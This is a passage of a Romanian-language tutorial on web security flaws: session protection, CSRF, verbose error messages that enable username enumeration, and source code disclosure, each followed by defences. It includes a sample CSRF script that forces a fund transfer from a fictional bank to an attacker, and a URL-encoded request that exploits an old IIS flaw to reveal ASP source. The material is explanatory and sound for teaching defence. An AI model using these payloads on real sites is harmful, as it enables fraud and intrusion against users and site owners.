•	Protejarea ID-ului de  sesiune: in mod ideal, intreaga sesiune a utilizatorului ar trebui protejata prin SSL (in acest mod cookie-ul de sesiune nu ar putea fi furat).
•	Liste de conturi: sistemele ar trebui proiectate in asa fel incat sa nu permita accesul utilizatorilor la lista de conturi inregistrate pe site. Daca este imperativ sa fie prezentata o lista de acest gen se recomanda folosirea pseudonimelor in locul numelor reale. In acest fel, pseudonimul nu poate fi folosit pentru logare in cont in timpul unei incercari de autentificare a unui atacator pe site.
•	Relationari bazate pe incredere: arhitectura paginii dumneavoastra ar trebui sa evite relatiile implicite de incredere intre componente ori de cate ori este posibil acest lucru. Fiecare componenta in parte ar trebui sa se autentifice fata de o alta cu care interactioneaza. Daca o relatie de incredere este absolut necesara, atunci ar trebui ca aceasta incredere nu poata fi abuzata, prin mecanisme procedurale si de arhitectura, care sa protejeze pagina chiar si in cadrul unei dezvoltari in timp.

8.	Cross-site Request Forgery (CSRF)

	Cross –site Request Forgery (CSRF sau XSRF) este o forma de atac asupra aplicatiilor web care se foloseste de relatiile de incredere existente intre aplicatiile web si utilizatorii autentificati prin a forta acei utilizatori sa faca tranzactii sensibile in numele atacatorului. Aceasta vulnerabilitate, desi mai putin cunoscuta ca XSS, este mult mai periculoasa decat cross-site scripting, deoarece, isi are radacinile in natura lipsita de stare ale specificatiilor HTTP-ului, care cer ca un token de autentificare sa fie trimis cu fiecare cerere a utilizatorului.
	In mod obisnuit, vulnerabilitatile web apar ca urmare a unor greseli facute de dezvoltatorii paginilor web in timpul proiectarii si dezvoltarii acestora, sau de catre administratori in timpul utilizarii acestora. Spre deosebire de restul, vulnerabilitatile de tip XSRF, apar atunci cand dezvoltatorii omit un mecanism de prevenire a XSRF din aplicatia lor.

	Atacul:

	Un exemplu classic este cel al unei aplicatii bancare, carre le permite utilizatorilor sa transfere fonduri dintr-un cont in altul folosind o cerere simpla GET prin HTTP. Presupunem ca aplicatia foloseste urmatoarea modalitate de a transfera fondurile:

	http://xsrf.bancavulnerabila.com/transferFonduri.aspx?
	Incontul 12345&fonduri 1000.00&valuta euro

	Continuand cu exemplul de mai sus, presupunem ca un atacator creeaza o pagina HTML malitioasa pe un sistem care se afla sub controlul lui, care contine urmatorul cod JavaScript:

	<script type “text/javascript”>
	Var i document.createElement(“image”);
	i.src”http://xsrf.bancavulnerabila.com/transferFonduri.aspx?
	Incontul ATACATOR&fonduri 1000.00&valuta euro”;
	</script>

	Efectul acestui cod este de a creea un tag de imagine dinamic in HTML (<img…>), si sa seteze sursa ca fiind cea a transferului de fonduri din aplicatia vulnerabila a bancii. Browser-ele clientilor autentificati pe pagina bancii respective, care acceseaza pagina atacatorului, o sa execute codul JavaScript al acestuia, si o sa creeze in fundal o cerere HTTP GET legata la sursa imaginii dinamice iar actiunea va fi executata ca si cum utilizatorul ar fi facut-o in mod voluntar.

	Metode de prevenire a vulnerabilitatilor de tip Cross-site Request Forgery:

•	Cookie-uri postate de doua ori: aceasta metoda de aparare consta in introducerea unui camp de introducere a datelor secret care sa contina valoarea actuala a ID-ului de sesiune a utilizatorului sau o alta valoare securizata generata aleator intr-un cookie al clientului, pentru orice formular folosit la transmiterea datelor sensibile. Cand formularul este postat, serverul aplicatiei va verifica daca valoarea cookie-ului din formular coincide cu cea din antetul HTTP al cererii, in caz contrar cererea va fi ignorata ca si invalida si se va loga ca potential atac. Aceasta metoda se bazeaza pe faptul ca atacatorul nu stie valoarea cookie-ului de sesiune al utilizatorului, daca prin alta metoda acesta reuseste sa afle valoarea aceasta, strategia de aparare nu va avea success.
•	Nonce unic pentru formular: este probabil cea mai folosita metoda de aparare impotriva CSRF si consata in construirea fiecarui formular folosind un camp ascuns care contine un nonce (number used once) obtinut folosind un generator pseudoaleator de numere securizate prin incriptare, pentru a nu fi vulnerabil la atac. Cand serverul aplicatiei primeste valorile parametrilor formularului ca facand parte dintr-o cerere HTTP POST, va compara valoarea nonce-ului cu valoarea stocata in memorie si va ignora cererea daca valorile acestora difera sau daca valaoarea nonce-ului a expirat.
•	Cererea credentialelor de autentificare: aceasta metoda le cere utilizatorilor autentificati sa reintroduca parola corespunzatoare sesiunii in care sunt autentificati ori de cate ori fac o tranzactie sensibila. Acesta strategie este des intalnita in aplicatiile web in cadrul carora tranzatiile de o natura sensibila se intampla rar (cel mai adesea fiind schimbari ale informatiilor de pe profilul utilizatorului).

9.	Verbose Errors

	Nu sunt un tip de atac in sine, insa mesajele de eroare cu scop informativ pot contine adresele complete si numele fisierelor, descrieri ale tabelelor SQL, erori ale bazei de date, sau alte erori legate de aplicatie si mediul in care ruleaza.
	Un formular tipic de autentificare ii cere utilizatorului sa introduca doua informatii (nume de utilizator si parola), alte aplicatii cer mai multe informatii (data nasterii, un cod PIN). Cand un process de autentificare da gres, poti in mod evident sa iti dai seama ca una din informatiile introduse nu au fost corecte, insa uneori, apicatia, te anunta care din ele a fost gresita, acest lucru poate fi folosit pentru a diminua eficienta mecanismului de autentificare. In cel mai simplu caz, unde autentificarea cere nume de utilizator si parola, aplicatia poate raspunde la o autentificare nereusita prin identificarea motivului (nu a recunoscut numele de utilizator sau parola este gresita).

	Atacul:

	Intr-un asemenea caz, puteti folosi o metoda automata de atac, care sa parcurga o lista mare de nume de utilizatori commune pentru a afla care din ele sunt valide, desi in general numele utilizatorilor nu sunt considerate a fi secrete, identificarea lor ii da atacatorului sanse mai mari de a compromite aplicatia folosindu-se de timp, abilitate si efort. O lista de nume de utilizatori enumerate poate fi folosita ulterior pentru diverse metode de atac incluzand: ghicirea parolelor, atacuri asupra datelor utilizatorilor sau sesiunilor, sau inginerie sociala.
	In procesele de autentificare mai complexe, unde aplicatia cere utilizatorului sa introduca mai multe informatii, sau sa treaca prin mai multe etape, mesajele de eroare verbose sau alti discriminatori pot ajuta un atacator sa treaca prin fiecare etapa a autentificarii, crescandu-i sansele de a obtine acces neautorizat.

	Metode de prevenire a atacurilor bazate pe Verbose Errors:

•	Utilizati validarile pe partea clientului doar pentru performanta, nu si pentru securitate: macanismele de verificare a datelor introduse pe partea clientului previn erorile de introducere si de tipar nevinovate sa ajunga la server, acest pas de anticipare a validarii pot reduce solicitarea severului, impiedicatnd datele introduse gresit in mod neintentionat sa ajunga la acesta.
•	Normalizati datele de intrare: multe atacuri folosesc o multitudine de codari diferite bazate pe seturi de caractere si reprezentari hexadecimale. Datele de intrare ar trebui canonizate inainte de verificarea de scuritate si validare, altel o bucata de cod poate trece prin filtre si sa fie decodata si descoperita ca a fi malitioasa doar mai tarziu.
•	Aplicati validarea pe partea serverului: doate datele de la browser pot fi modificate cu continut arbitrar, asadar, validarea datelor introduse ar trebui facuta de server, unde evitarea functiilor de validare nu este posibila.
•	Restrangeti tipurile de date care pot fi introduse: aplicatia nu ar trebui sa contina tipuri de date care nu indeplinesc tipul de baza, formatul, si lungimea cerute.
•	Utilizati codarea securizata a caracterelor si validarea datelor de iesire: caracterele utilizate in formatele HTML si SQL ar trebui codate in asa masura incat, sa impiedice aplicatia sa le interpreteze gresit. Acest tip de validara a datelor de iesire sau de reformatare a caracterelor reprezinta un nivel additional de protejare impotriva atacurilor prin injectare HTML, chiar daca un cod malitios reuseste sa treaca de un filtru de intrare a datelor, efectele acestuia vor fii neglijate in momentul in care ajunge in faza de iesire.
•	Utilizati white lists si black lists: utilizati expresii obisnuite pentru a cauta daca datele fac parte din continut autorizat sau neautorizat, white lists contin tiparele de date acceptate, iar black lists contin tipare de date neacceptate sau malitioase.
•	Aveti grija cu mesajele de eroare: indiferent de limbajul folosit pentru a scrie aplicatia erorile ar trbui sa urmareasca conceptele de incerarca, descopera, in final cand vine vorba de tratarea exceptiilor. Incearcati o actiune, descoperiti exceptiile specifice care pot fi cauzate de acea actiune; in final inchideti aplicatia daca nimic altceva nu functioneaza. De asemenea creati un mesajde eroare politicos care insa nu dezvaluie nici o informatie despre sistem.
•	Solicitati autentificare: in unele cazuri s-ar putea sa fie necesar sa configurati serverul in asa masura incat sa fie solicitata autentificarea la nivelul de director pentru toate fisierede din interiorul acelui director.

10.	Source Code Disclosure

	Divulgarea codului sursa este o eroare de codare foarte des intalnita in aplicatiile web, care poate fi exploatate de catre un atacator pentru a obtine codul sursa si configurearea fisierelor prin intermediul HTTP, acest lucru ii ofera atacatorului o intelegere mai profunda a logicii aplicatiei web.
	Multe pagini web ofera utilizatorilor fisiere pentru download folosind pagini dinamice specializate. Cand browser-ul cere pagina dinamica, mai intai serverul executa fisierul si apoi returneaza rezultatul in browser, deci paginile dinamice sunt, de fapt, coduri executate pe serverul web. Daca aceasta pagina nu este codata suficient de securizat, un atacator o poate exploata pentru a descarca codul sursa si chiar fisierele de configurare.
	Folosind un atac de tip divulgarea codului sursa, atacatorul poate obtine codurile sursa pentru aplicatiile de pe server, cum ar fi: ASP, PHP si JSP. Obtinerea codului sursa al aplicatiilor de pe server ii ofera atacatorului o imagine mai buna asupra logicii aplicatiei, modul in care aplicatia gestioneaza cererile si parametrii lor, structura bazei de date, vulnerabilitatile codului si comentariile introduse in el. Odata ce are codul sursa si posibul un duplicat al aplicatiei pe care sa poate face teste, atacatorul se poate pregati pentru un atac asupara aplicatiei.

	Atacul:

	Poate fi facut prin mai multe metode:

•	Folosind vulnerabilitati cu divulgare a codului sursa cunoscute
•	Exploatarea unei vulnerabulitati din aplicatie care s-ar putea sa permita divulgarea codului sursa
•	Exploatarea erorilor detaliate care uneori pot include codul sursa
•	Utilizand alte tipuri de vulnerabilitati cunoscute care se pot dovedi utile pentru divulgarea codului sursa (cum ar fi traversarea directoarelor)

	De exemplu, luam in considerare un site web pe care ruleaza Microsoft Internet Information Server (IIS). Trimitem urmarorul URL serverului web:
	http://www.vulnerabil-iis.com/exemplu.%61%73%70
	Atacatorul poate obtine codul sursa al acestui exemplu, deoarece exista o vulnerabiliatate in serverele IIS cand vine vorba de gestionarea fisierelor .asp, care ii permite sa obtina codul sursa al fisierelor .asp de la distanta. Daca IIS este instalat pe o partitie FAT si atacatorul trimite o cerere codata in Unicode pentru a obtine un fisier .asp (%61%73%70 este codul Unicode pentru “asp”), serverul IIS nu il va recunoaste ca si fisier ASP asadar nu il va executa, ci va trimite codul sursa ASP direct browserului.

	Metode de prevenire a atacurilor de tip Source Code Disclosure:

•	Verificati folderul de unde este cerut fisierul care urmeaza sa fie descarcat (mentineti un white list cu numere directoarelor de unde este permisa download-area fisierelor si validati cererile pe baza acestuia).
•	Verificati tipul de fisiere care sunt cerute de utilizatori.
•	Indexati fisierele care pot fi descarcate si afisati doar numarul lor din index ca si parametru al URL-ului.

	Dupa cum am exemplificat mai sus, atacurile cibernetice sunt pe cat de reale, pe atat de periculoase, mai ales intr-o lume in care informatia a ajuns sa fie cea mai pretioasa marfa din toate, pierderea de informatii poate duce la pierderi catastrofale atat financiare cat si de imagine ale paginii web. Poate una din cele mai bune investitii intr-o afacere este cea facuta pentru protejarea datelor pe care aceasta le detine.